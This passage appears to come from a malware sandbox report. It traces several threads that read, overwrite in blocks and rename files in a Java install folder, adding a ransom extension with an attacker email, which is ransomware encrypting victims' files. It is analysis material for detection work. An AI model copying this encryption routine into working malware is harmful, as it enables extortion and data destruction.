	[0084.994] SetFilePointerEx (in: hFile=0x1330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0084.994] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfb198
	[0084.994] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2e04018
	[0084.994] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781698
	[0084.994] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781698) returned 1
	[0084.995] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x480d7f0
	[0084.996] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781468
	[0084.996] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781440
	[0084.996] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781440) returned 1
	[0084.996] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04018) returned 1
	[0084.996] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb198) returned 1
	[0084.996] WriteFile (in: hFile=0x1330, lpBuffer=0x480d7f0*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x18bbfa50, lpOverlapped=0x0 | out: lpBuffer=0x480d7f0*, lpNumberOfBytesWritten=0x18bbfa50*=0xc800, lpOverlapped=0x0) returned 1
	[0087.107] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x480d7f0) returned 1
	[0087.107] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4887048) returned 1
	[0087.108] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x51) returned 0x2d778a0
	[0087.108] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfb108
	[0087.108] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2d834e0
	[0087.108] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47b28
	[0087.108] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47b28) returned 1
	[0087.108] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x51) returned 0x2d77540
	[0087.108] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47b28
	[0087.108] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47ba0
	[0087.108] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47ba0) returned 1
	[0087.108] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d834e0) returned 1
	[0087.108] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb108) returned 1
	[0087.108] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x135) returned 0x481e928
	[0087.108] SetFilePointerEx (in: hFile=0x1330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0087.108] WriteFile (in: hFile=0x1330, lpBuffer=0x481e928*, nNumberOfBytesToWrite=0x135, lpNumberOfBytesWritten=0x18bbfad0, lpOverlapped=0x0 | out: lpBuffer=0x481e928*, lpNumberOfBytesWritten=0x18bbfad0*=0x135, lpOverlapped=0x0) returned 1
	[0087.113] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x481e928) returned 1
	[0087.113] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d77540) returned 1
	[0087.113] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47b28) returned 1
	[0087.113] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d778a0) returned 1
	[0087.113] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781468) returned 1
	[0087.113] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781508) returned 1
	[0087.113] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47815d0) returned 1
	[0087.113] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781378) returned 1
	[0087.113] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xd2) returned 0x2e43fe0
	[0087.113] wcscpy (in: _Dest=0x2e43fe0, _Source="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt" | out: _Dest="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt") returned="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt"
	[0087.113] wcscat (in: _Dest=0x2e43fe0, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0087.113] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x18bbfa88, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0087.113] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xe8) returned 0x47ec428
	[0087.113] NtSetInformationFile (FileHandle=0x1330, IoStatusBlock=0x18bbfa80, FileInformation=0x47ec428, Length=0xe8, FileInformationClass=0xa) returned 0x0
	[0087.114] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47ec428) returned 1
	[0087.114] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4768d68) returned 1
	[0087.114] NtQueryInformationFile (in: FileHandle=0x1330, IoStatusBlock=0x18bbfa94, FileInformation=0x18bbfa6c, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x18bbfa94, FileInformation=0x18bbfa6c) returned 0x0
	[0087.114] NtSetInformationFile (FileHandle=0x1330, IoStatusBlock=0x18bbfa94, FileInformation=0x18bbfa6c, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0087.115] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e43fe0) returned 1
	[0087.115] FlushFileBuffers (hFile=0x1330) returned 1
	[0093.106] CloseHandle (hObject=0x1330) 

Thread:
	id = 659
	os_tid = 0x1978

	[0078.190] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\thirdpartylicensereadme.txt")) returned 0x20
	[0082.011] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt", dwFileAttributes=0x20) returned 1
	[0084.983] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\thirdpartylicensereadme.txt"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x16f8
	[0084.994] GetFileSizeEx (in: hFile=0x16f8, lpFileSize=0x18c3f76c | out: lpFileSize=0x18c3f76c*=145180) returned 1
	[0084.994] SetFilePointerEx (in: hFile=0x16f8, liDistanceToMove=0x23718, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0084.996] ReadFile (in: hFile=0x16f8, lpBuffer=0x18c3f6f0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x18c3f6ec, lpOverlapped=0x0 | out: lpBuffer=0x18c3f6f0*, lpNumberOfBytesRead=0x18c3f6ec*=0x4, lpOverlapped=0x0) returned 1
	[0085.000] SetFilePointerEx (in: hFile=0x16f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0085.000] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781490
	[0085.000] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781530
	[0085.000] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47817b0
	[0085.000] NtQuerySystemTime (in: CurrentTime=0x18c3f6cc | out: CurrentTime=0x18c3f6cc*=132251868117338550) returned 0x0
	[0085.000] RtlRandom (in: Seed=0x18c3f6d8 | out: Seed=0x18c3f6d8) returned 0x5ea2caa6
	[0085.000] RtlRandom (in: Seed=0x18c3f6d8 | out: Seed=0x18c3f6d8) returned 0x7f7ca6da
	[0085.000] RtlRandom (in: Seed=0x18c3f6d8 | out: Seed=0x18c3f6d8) returned 0x501d057e
	[0085.000] RtlRandom (in: Seed=0x18c3f6d8 | out: Seed=0x18c3f6d8) returned 0xd52d5109
	[0085.000] RtlRandom (in: Seed=0x18c3f6d8 | out: Seed=0x18c3f6d8) returned 0x54f62719
	[0085.000] RtlRandom (in: Seed=0x18c3f6d8 | out: Seed=0x18c3f6d8) returned 0x10fd5d0c
	[0085.000] RtlRandom (in: Seed=0x18c3f6d8 | out: Seed=0x18c3f6d8) returned 0x292aad91
	[0085.000] RtlRandom (in: Seed=0x18c3f6d8 | out: Seed=0x18c3f6d8) returned 0xcfeb8d08
	[0085.000] RtlRandom (in: Seed=0x18c3f6d8 | out: Seed=0x18c3f6d8) returned 0x4d7337
	[0085.000] RtlRandom (in: Seed=0x18c3f6d8 | out: Seed=0x18c3f6d8) returned 0xfb73f550
	[0085.000] RtlRandom (in: Seed=0x18c3f6d8 | out: Seed=0x18c3f6d8) returned 0xd7a358fb
	[0085.000] RtlRandom (in: Seed=0x18c3f6d8 | out: Seed=0x18c3f6d8) returned 0x64c61b09
	[0085.000] RtlRandom (in: Seed=0x18c3f6d8 | out: Seed=0x18c3f6d8) returned 0x93a64903
	[0085.000] RtlRandom (in: Seed=0x18c3f6d8 | out: Seed=0x18c3f6d8) returned 0x9f5d9499
	[0085.000] RtlRandom (in: Seed=0x18c3f6d8 | out: Seed=0x18c3f6d8) returned 0x9022fb2c
	[0085.000] RtlRandom (in: Seed=0x18c3f6d8 | out: Seed=0x18c3f6d8) returned 0xc8de74dd
	[0085.000] RtlRandom (in: Seed=0x18c3f6d8 | out: Seed=0x18c3f6d8) returned 0xc260c4ad
	[0085.000] RtlRandom (in: Seed=0x18c3f6d8 | out: Seed=0x18c3f6d8) returned 0xeb1bbc12
	[0085.000] RtlRandom (in: Seed=0x18c3f6d8 | out: Seed=0x18c3f6d8) returned 0x67b4998a
	[0085.000] RtlRandom (in: Seed=0x18c3f6d8 | out: Seed=0x18c3f6d8) returned 0x980469ed
	[0085.000] RtlRandom (in: Seed=0x18c3f6d8 | out: Seed=0x18c3f6d8) returned 0xc9a9556c
	[0085.000] RtlRandom (in: Seed=0x18c3f6d8 | out: Seed=0x18c3f6d8) returned 0xf57a7b26
	[0085.000] RtlRandom (in: Seed=0x18c3f6d8 | out: Seed=0x18c3f6d8) returned 0xc9b01a3c
	[0085.000] RtlRandom (in: Seed=0x18c3f6d8 | out: Seed=0x18c3f6d8) returned 0xccd479f7
	[0085.000] RtlRandom (in: Seed=0x18c3f6d8 | out: Seed=0x18c3f6d8) returned 0x4880785a
	[0085.000] RtlRandom (in: Seed=0x18c3f6d8 | out: Seed=0x18c3f6d8) returned 0x3e966ea9
	[0085.000] RtlRandom (in: Seed=0x18c3f6d8 | out: Seed=0x18c3f6d8) returned 0xf4381ccd
	[0085.000] RtlRandom (in: Seed=0x18c3f6d8 | out: Seed=0x18c3f6d8) returned 0x1ecd756d
	[0085.000] RtlRandom (in: Seed=0x18c3f6d8 | out: Seed=0x18c3f6d8) returned 0x2189287a
	[0085.000] RtlRandom (in: Seed=0x18c3f6d8 | out: Seed=0x18c3f6d8) returned 0x89e7a416
	[0085.000] RtlRandom (in: Seed=0x18c3f6d8 | out: Seed=0x18c3f6d8) returned 0x5d50349
	[0085.000] RtlRandom (in: Seed=0x18c3f6d8 | out: Seed=0x18c3f6d8) returned 0x5230dad9
	[0085.009] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04018) returned 1
	[0085.009] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47817b0) returned 1
	[0085.009] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781490) returned 1
	[0085.009] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4f48e48
	[0085.011] SetFilePointerEx (in: hFile=0x16f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0085.011] ReadFile (in: hFile=0x16f8, lpBuffer=0x4f48e48, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x18c3f6ac, lpOverlapped=0x0 | out: lpBuffer=0x4f48e48*, lpNumberOfBytesRead=0x18c3f6ac*=0xc800, lpOverlapped=0x0) returned 1
	[0085.012] SetFilePointerEx (in: hFile=0x16f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0085.012] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfb198
	[0085.012] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2e04018
	[0085.012] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781698
	[0085.012] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781698) returned 1
	[0085.013] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4eeb010
	[0085.015] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781490
	[0085.015] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781440
	[0085.015] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781440) returned 1
	[0085.016] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04018) returned 1
	[0085.016] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb198) returned 1
	[0085.016] WriteFile (in: hFile=0x16f8, lpBuffer=0x4eeb010*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x18c3f6ac, lpOverlapped=0x0 | out: lpBuffer=0x4eeb010*, lpNumberOfBytesWritten=0x18c3f6ac*=0xc800, lpOverlapped=0x0) returned 1
	[0085.017] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4eeb010) returned 1
	[0085.017] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4f48e48) returned 1
	[0085.017] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x43) returned 0x4776010
	[0085.018] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781788) returned 1
	[0085.018] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x43) returned 0x4775e30
	[0085.018] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781558
	[0085.018] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781800
	[0085.018] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781800) returned 1
	[0085.018] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04018) returned 1
	[0085.018] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb300) returned 1
	[0085.018] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x127) returned 0x4734d60
	[0085.018] SetFilePointerEx (in: hFile=0x16f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0085.018] WriteFile (in: hFile=0x16f8, lpBuffer=0x4734d60*, nNumberOfBytesToWrite=0x127, lpNumberOfBytesWritten=0x18c3f72c, lpOverlapped=0x0 | out: lpBuffer=0x4734d60*, lpNumberOfBytesWritten=0x18c3f72c*=0x127, lpOverlapped=0x0) returned 1
	[0087.101] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4734d60) returned 1
	[0087.101] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4775e30) returned 1
	[0087.101] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781558) returned 1
	[0087.101] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4776010) returned 1
	[0087.101] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781490) returned 1
	[0087.101] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781530) returned 1
	[0087.101] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47815f8) returned 1
	[0087.101] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47813a0) returned 1
	[0087.101] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc4) returned 0x47ea6e0
	[0087.101] wcscpy (in: _Dest=0x47ea6e0, _Source="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt" | out: _Dest="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt") returned="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt"
	[0087.101] wcscat (in: _Dest=0x47ea6e0, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0087.101] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x18c3f6e4, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0087.101] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xda) returned 0x4768d68
	[0087.101] NtSetInformationFile (FileHandle=0x16f8, IoStatusBlock=0x18c3f6dc, FileInformation=0x4768d68, Length=0xda, FileInformationClass=0xa) returned 0x0
	[0087.102] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4768d68) returned 1
	[0087.102] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x477ca40) returned 1
	[0087.102] NtQueryInformationFile (in: FileHandle=0x16f8, IoStatusBlock=0x18c3f6f0, FileInformation=0x18c3f6c8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x18c3f6f0, FileInformation=0x18c3f6c8) returned 0x0
	[0087.102] NtSetInformationFile (FileHandle=0x16f8, IoStatusBlock=0x18c3f6f0, FileInformation=0x18c3f6c8, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0087.104] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47ea6e0) returned 1
	[0087.104] FlushFileBuffers (hFile=0x16f8) returned 1
	[0093.106] CloseHandle (hObject=0x16f8) 

Thread:
	id = 660
	os_tid = 0x197c

	[0078.191] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\Welcome.html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\welcome.html")) returned 0x20
	[0082.011] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\Welcome.html", dwFileAttributes=0x20) returned 1
	[0085.011] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\Welcome.html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\welcome.html"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x16d8
	[0085.016] GetFileSizeEx (in: hFile=0x16d8, lpFileSize=0x18cbfe30 | out: lpFileSize=0x18cbfe30*=955) returned 1
	[0085.016] SetFilePointerEx (in: hFile=0x16d8, liDistanceToMove=0x3b7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0085.017] ReadFile (in: hFile=0x16d8, lpBuffer=0x18cbfdb4, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x18cbfdb0, lpOverlapped=0x0 | out: lpBuffer=0x18cbfdb4*, lpNumberOfBytesRead=0x18cbfdb0*=0x4, lpOverlapped=0x0) returned 1
	[0085.019] SetFilePointerEx (in: hFile=0x16d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0085.019] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47814b8
	[0085.019] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781580
	[0085.019] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47817b0
	[0085.019] NtQuerySystemTime (in: CurrentTime=0x18cbfd90 | out: CurrentTime=0x18cbfd90*=132251868117494876) returned 0x0
	[0085.019] RtlRandom (in: Seed=0x18cbfd9c | out: Seed=0x18cbfd9c) returned 0x7d4c1c3b
	[0085.019] RtlRandom (in: Seed=0x18cbfd9c | out: Seed=0x18cbfd9c) returned 0x74f76762
	[0085.019] RtlRandom (in: Seed=0x18cbfd9c | out: Seed=0x18cbfd9c) returned 0x4e0564
	[0085.019] RtlRandom (in: Seed=0x18cbfd9c | out: Seed=0x18cbfd9c) returned 0xa0f547e2
	[0085.019] RtlRandom (in: Seed=0x18cbfd9c | out: Seed=0x18cbfd9c) returned 0x9d8c92e9
	[0085.019] RtlRandom (in: Seed=0x18cbfd9c | out: Seed=0x18cbfd9c) returned 0x38281d83
	[0085.020] RtlRandom (in: Seed=0x18cbfd9c | out: Seed=0x18cbfd9c) returned 0xc8ed2c0b
	[0085.020] RtlRandom (in: Seed=0x18cbfd9c | out: Seed=0x18cbfd9c) returned 0x20a81a43
	[0085.020] RtlRandom (in: Seed=0x18cbfd9c | out: Seed=0x18cbfd9c) returned 0x970d47bd
	[0085.020] RtlRandom (in: Seed=0x18cbfd9c | out: Seed=0x18cbfd9c) returned 0xc77182e4
	[0085.020] RtlRandom (in: Seed=0x18cbfd9c | out: Seed=0x18cbfd9c) returned 0x94164a70
	[0085.020] RtlRandom (in: Seed=0x18cbfd9c | out: Seed=0x18cbfd9c) returned 0x3ba27b59
	[0085.020] RtlRandom (in: Seed=0x18cbfd9c | out: Seed=0x18cbfd9c) returned 0xad43a1dc
	[0085.020] RtlRandom (in: Seed=0x18cbfd9c | out: Seed=0x18cbfd9c) returned 0x8870315a
	[0085.020] RtlRandom (in: Seed=0x18cbfd9c | out: Seed=0x18cbfd9c) returned 0xae59d840
	[0085.020] RtlRandom (in: Seed=0x18cbfd9c | out: Seed=0x18cbfd9c) returned 0x2815c424
	[0085.020] RtlRandom (in: Seed=0x18cbfd9c | out: Seed=0x18cbfd9c) returned 0x81a3d059
	[0085.020] RtlRandom (in: Seed=0x18cbfd9c | out: Seed=0x18cbfd9c) returned 0xf7e1ff3e
	[0085.020] RtlRandom (in: Seed=0x18cbfd9c | out: Seed=0x18cbfd9c) returned 0x51d0fa57
	[0085.020] RtlRandom (in: Seed=0x18cbfd9c | out: Seed=0x18cbfd9c) returned 0x80fef4dd
	[0085.020] RtlRandom (in: Seed=0x18cbfd9c | out: Seed=0x18cbfd9c) returned 0x9e7e8dbb
	[0085.020] RtlRandom (in: Seed=0x18cbfd9c | out: Seed=0x18cbfd9c) returned 0xf98209a4
	[0085.020] RtlRandom (in: Seed=0x18cbfd9c | out: Seed=0x18cbfd9c) returned 0x61e12acc
	[0085.020] RtlRandom (in: Seed=0x18cbfd9c | out: Seed=0x18cbfd9c) returned 0x4d9e656c
	[0085.020] RtlRandom (in: Seed=0x18cbfd9c | out: Seed=0x18cbfd9c) returned 0x311e4fb1
	[0085.020] RtlRandom (in: Seed=0x18cbfd9c | out: Seed=0x18cbfd9c) returned 0x5335760b
	[0085.020] RtlRandom (in: Seed=0x18cbfd9c | out: Seed=0x18cbfd9c) returned 0xb988d47c
	[0085.020] RtlRandom (in: Seed=0x18cbfd9c | out: Seed=0x18cbfd9c) returned 0xb22f97d
	[0085.020] RtlRandom (in: Seed=0x18cbfd9c | out: Seed=0x18cbfd9c) returned 0xe09a8279
	[0085.020] RtlRandom (in: Seed=0x18cbfd9c | out: Seed=0x18cbfd9c) returned 0xdcd6fb93
	[0085.020] RtlRandom (in: Seed=0x18cbfd9c | out: Seed=0x18cbfd9c) returned 0x87d84d62
	[0085.020] RtlRandom (in: Seed=0x18cbfd9c | out: Seed=0x18cbfd9c) returned 0x582d6426
	[0085.028] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04018) returned 1
	[0085.028] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47817b0) returned 1
	[0085.028] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47814b8) returned 1
	[0085.028] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfb198
	[0085.028] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2e04018
	[0085.028] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781698
	[0085.028] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781698) returned 1
	[0085.028] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4f48e48
	[0085.028] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4eeb010
	[0085.028] ReadFile (in: hFile=0x16d8, lpBuffer=0x4f48e48, nNumberOfBytesToRead=0x3bb, lpNumberOfBytesRead=0x18cbfd8c, lpOverlapped=0x0 | out: lpBuffer=0x4f48e48*, lpNumberOfBytesRead=0x18cbfd8c*=0x3bb, lpOverlapped=0x0) returned 1
	[0085.029] SetFilePointerEx (in: hFile=0x16d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0085.029] WriteFile (in: hFile=0x16d8, lpBuffer=0x4eeb010*, nNumberOfBytesToWrite=0x3bb, lpNumberOfBytesWritten=0x18cbfd88, lpOverlapped=0x0 | out: lpBuffer=0x4eeb010*, lpNumberOfBytesWritten=0x18cbfd88*=0x3bb, lpOverlapped=0x0) returned 1
	[0085.030] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47814b8
	[0085.030] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781440
	[0085.030] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781440) returned 1
	[0085.030] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4eeb010) returned 1
	[0085.030] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4f48e48) returned 1
	[0085.030] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04018) returned 1
	[0085.030] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb198) returned 1
	[0085.030] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x25) returned 0x2d780b0
	[0085.030] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781788) returned 1
	[0085.030] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x25) returned 0x2d77db0
